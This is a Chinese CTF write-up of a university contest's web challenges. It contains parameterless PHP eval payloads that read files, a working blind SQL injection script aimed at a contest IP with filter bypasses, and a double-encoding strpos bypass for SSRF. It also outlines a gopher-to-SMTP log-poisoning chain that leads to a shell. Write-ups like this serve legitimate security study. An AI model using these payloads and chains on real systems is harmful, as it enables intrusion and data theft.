Writeup:第五届上海市大学生网络安全大赛-Web

Write Up | 第五届上海市大学生网络安全大赛官方WP来啦

一、Decade

源码(大概是这样。。。)

<?php
$code = $_GET['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
} else {
echo "No way!!!";
}

分析一下正则,可以调用纯字母的函数,但是不可以有参数

学弟的payload是这样的echo(next(file(end(scandir(chr(ord(hebrevc(crypt(phpversion(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))))));

官方wp的payload是echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));

学弟找到了这篇博客ByteCTF 2019部分WP

研究一下其中shellcode的部分。

无参数函数RCE(./..)

  • var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));

    • phpversion()返回php版本,如7.3.5
    • floor(phpversion())返回7
    • sqrt(floor(phpversion()))返回2.6457513110646
    • tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
    • cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
    • sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
    • ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
    • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
    • var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
  • next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

    • chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))返回True

    • localtime(time(True))返回一个数组

      Writeup:第五届上海市大学生网络安全大赛-Web-LMLPHP

    • pos(localtime(time(1)))返回数组当前指针位置的数据,即tm_sec,可以为46

  • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

  • readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

    • 同上
  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

    • pos(localeconv())返回.

其他思路被过滤的比较多,但是也有必要了解一下

PHP Parametric Function

二、Easysql

当时做的时候参考了SQL注入有趣姿势总结

Sql注入笔记

这道题过滤蛮多的

  • if

    case when绕过

  • or

    or的绕过不难,关键是information表不能用了

    • 获取表名:MySQL数据库的Innodb引擎的注入

    • 获取列名\无列名注入
      select `2` from (select 1,2 union select * from fl111aa44a99g)x limit 1 offset 1
  • ,

    实际上这里,也被过滤了,所以上面的payload要改成

    select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1
  • union select

    没有单独过滤union,我用的内联注释/*!union*/,其实把空格换成%0a就行了

附上我的脚本:

import requests
import string s = requests.session() url = "http://47.105.183.208:29898/article.php"
payload = '' opt = string.ascii_letters + string.digits + string.punctuation
result = '' for x in range(1, 50):
for i in opt.replace("%", ''):
# sql = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() limit 1 offset 1"
sql = "select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1"
# sql = "select `2` from (select 1,2 union select * from article_fl111aa44a99g)x limit 1 offset 1"
payload = "1'=(case when (%s) like '%s%%' then 1 else 0 end)='1" % (sql, result + i)
params = {
'id': payload,
}
# print(payload)
response = s.get(url, params=params)
if '2333333333333' in response.text:
result += i
break if '%' in result:
break
print(result) # database: cccttffff
# table: article, fl111aa44a99g

有师傅说直接union注入就可以了,好像有点道理。。

三、Babyt5

原题哭了。。

6月安恒杯web2 —— 一道SSRF题

二次编码绕过strpos

https://bugs.php.net/bug.php?id=76671&edit=1

Description:

The bug is more related to when we send a string with encode to the strpos(), when we sent a string with double encode we were able to bypass the verification, using %2570hp if the case is like strpos($string, "php").

Test script:

$x = $_GET['x']; //?x=file:///var/www/html/readme.%2570hp
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result; Expected result:
----------------
denied Actual result:
--------------
<?php
//readme
?>

ssrf:利用gopher协议攻击smtp服务,配合LFI getshell

https://github.com/tarunkant/Gopherus

先读取/etc/hosts获取内网IP,然后尝试访问邻近IP,可以发现有个主机开放了25端口--SMTP服务。我们可以利用gopher协议向目标机发送邮件,把后门写进日志里

linux中邮件日志路径一般为

/var/log/maillog
/var/log/mail.log
/var/adm/maillog
/var/adm/syslog/mail.log

用LFI包含日志文件就可以getshell了

四、lol2

没有复现,不纸上谈兵了

05-28 17:20